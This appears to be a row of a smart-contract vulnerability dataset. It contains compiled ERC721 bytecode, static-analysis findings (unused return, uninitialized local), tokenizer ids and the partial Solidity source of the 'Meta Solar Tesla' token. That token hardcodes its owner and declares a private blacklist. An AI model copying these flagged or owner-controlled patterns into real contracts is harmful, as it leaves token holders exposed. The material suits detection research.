06f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d0565b610afd81611615565b60006001600160e01b031982166380ac58cd60e01b14806112e657506001600160e01b03198216635b5e139f60e01b145b806106a057506301ffc9a760e01b6001600160e01b03198316146106a0565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061133a82610cc0565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166113ec5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b60006113f783610cc0565b9050806001600160a01b0316846001600160a01b031614806114325750836001600160a01b03166114278461077e565b6001600160a01b0316145b8061146257506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661147d82610cc0565b6001600160a01b0316146114e55760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106d0565b6001600160a01b0382166115475760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106d0565b6115528383836117c1565b61155d600082611305565b6001600160a01b038316600090815260036020526040812080546001929061158690849061228a565b90915550506001600160a01b03821660009081526003602052604081208054600192906115b490849061223f565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610cbc828260405180602001604052806000815250611879565b61168c84848461146a565b611698848484846118ac565b6110115760405162461bcd60e51b81526004016106d090612167565b6060600b80546106fb906122cd565b6060816116e75750506040805180820190915260018152600360fc1b602082015290565b8160005b811561171157806116fb81612308565b915061170a9050600a83612257565b91506116eb565b60008167ffffffffffffffff81111561172c5761172c61238f565b6040519080825280601f01601f191660200182016040528015611756576020820181803683370190505b5090505b84156114625761176b60018361228a565b9150611778600a86612323565b61178390603061223f565b60f81b81838151811061179857611798612379565b60200101906001600160f81b031916908160001a9053506117ba600a86612257565b945061175a565b6001600160a01b03831661181c5761181781600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61183f565b816001600160a01b0316836001600160a01b03161461183f5761183f83826119b9565b6001600160a01b038216611856576109b281611a56565b826001600160a01b0316826001600160a01b0316146109b2576109b28282611b05565b6118838383611b49565b61189060008484846118ac565b6109b25760405162461bcd60e51b81526004016106d090612167565b60006001600160a01b0384163b156119ae57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906118f09033908990889088906004016120d3565b602060405180830381600087803b15801561190a57600080fd5b505af192505050801561193a575060408051601f3d908101601f1916820190925261193791810190611f64565b60015b611994573d808015611968576040519150601f19603f3d011682016040523d82523d6000602084013e61196d565b606091505b50805161198c5760405162461bcd60e51b81526004016106d090612167565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611462565b506001949350505050565b600060016119c684610d37565b6119d0919061228a565b600083815260076020526040902054909150808214611a23576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611a689060019061228a565b60008381526009602052604081205460088054939450909284908110611a9057611a90612379565b906000526020600020015490508060088381548110611ab157611ab1612379565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611ae957611ae9612363565b6001900381819060005260206000200160009055905550505050565b6000611b1083610d37565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611b9f5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106d0565b6000818152600260205260409020546001600160a01b031615611c045760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106d0565b611c10600083836117c1565b6001600160a01b0382166000908152600360205260408120805460019290611c3990849061223f565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611ca3906122cd565b90600052602060002090601f016020900481019282611cc55760008555611d0b565b82601f10611cde57805160ff1916838001178555611d0b565b82800160010185558215611d0b579182015b82811115611d0b578251825591602001919060010190611cf0565b50611d17929150611d1b565b5090565b5b80821115611d175760008155600101611d1c565b600067ffffffffffffffff80841115611d4b57611d4b61238f565b604051601f8501601f19908116603f01168101908282118183101715611d7357611d7361238f565b81604052809350858152868686011115611d8c57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611dbd57600080fd5b919050565b80358015158114611dbd57600080fd5b600060208284031215611de457600080fd5b61119c82611da6565b60008060408385031215611e0057600080fd5b611e0983611da6565b9150611e1760208401611da6565b90509250929050565b600080600060608486031215611e3557600080fd5b611e3e84611da6565b9250611e4c60208501611da6565b9150604084013590509250925092565b60008060008060808587031215611e7257600080fd5b611e7b85611da6565b9350611e8960208601611da6565b925060408501359150606085013567ffffffffffffffff811115611eac57600080fd5b8501601f81018713611ebd57600080fd5b611ecc87823560208401611d30565b91505092959194509250565b60008060408385031215611eeb57600080fd5b611ef483611da6565b9150611e1760208401611dc2565b60008060408385031215611f1557600080fd5b611f1e83611da6565b946020939093013593505050565b600060208284031215611f3e57600080fd5b61119c82611dc2565b600060208284031215611f5957600080fd5b813561119c816123a5565b600060208284031215611f7657600080fd5b815161119c816123a5565b600060208284031215611f9357600080fd5b813567ffffffffffffffff811115611faa57600080fd5b8201601f81018413611fbb57600080fd5b61146284823560208401611d30565b600060208284031215611fdc57600080fd5b5035919050565b60008151808452611ffb8160208601602086016122a1565b601f01601f19169290920160200192915050565b6000845160206120228285838a016122a1565b8551918401916120358184848a016122a1565b8554920191600090600181811c908083168061205257607f831692505b85831081141561207057634e487b7160e01b85526022600452602485fd5b8080156120845760018114612095576120c2565b60ff198516885283880195506120c2565b60008b81526020902060005b858110156120ba5781548a8201529084019088016120a1565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061210690830184611fe3565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156121485783518352928401929184019160010161212c565b50909695505050505050565b60208152600061119c6020830184611fe3565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561225257612252612337565b500190565b6000826122665761226661234d565b500490565b600081600019048311821515161561228557612285612337565b500290565b60008282101561229c5761229c612337565b500390565b60005b838110156122bc5781810151838201526020016122a4565b838111156110115750506000910152565b600181811c908216806122e157607f821691505b6020821081141561230257634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561231c5761231c612337565b5060010190565b6000826123325761233261234d565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610afd57600080fdfea26469706673582212201d593d6c893a787c734cdce6d391a6ae162ddcb8d078cf626d9afe92e149980a64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2497,
3207,
21472,
2475,
6679,
29292,
2094,
2549,
4215,
2575,
2063,
2581,
2683,
22907,
2509,
10354,
2620,
2050,
17788,
2683,
10790,
2050,
2683,
12740,
2497,
26187,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
13266,
2011,
23325,
15000,
2015,
1013,
1008,
1008,
999,
5860,
19771,
5017,
999,
2122,
8311,
2031,
2042,
2109,
2000,
3443,
14924,
26340,
1010,
1998,
2001,
2580,
2005,
1996,
3800,
2000,
6570,
2111,
2129,
2000,
3443,
6047,
8311,
2006,
1996,
3796,
24925,
2078,
1012,
3531,
3319,
2023,
3642,
2006,
2115,
2219,
2077,
2478,
2151,
1997,
1996,
2206,
3642,
2005,
2537,
1012,
23325,
15000,
2015,
2097,
2025,
2022,
20090,
1999,
2151,
2126,
2065,
2005,
1996,
2224,
1997,
1996,
3642,
1012,
2008,
2108,
2056,
1010,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,575 | 0x955c50b8dfc78c5991a99b8ec10330522419ddbc | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () payable {
_owner = 0x1f1301e4163807AD036Fcb8EbcF20f7fA22cDF28 ;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MST is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address=> bool) private isBlacklisted;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
address private _charityWalletAddress = 0xFbbBF27AB88213481BB1f4937dC98320d239797a ; //your wallet
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Meta Solar Tesla";
string private _symbol = "MST";
uint8 private _decimals = 9;
uint256 public _taxFee = 3;
uint256 private _previousTaxFee = _taxFee;
uint256 public _charityFee = 2; //
uint256 private _previousCharityFee = _charityFee;
uint256 public _liquidityFee = 2;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 1000000000000 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 10 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
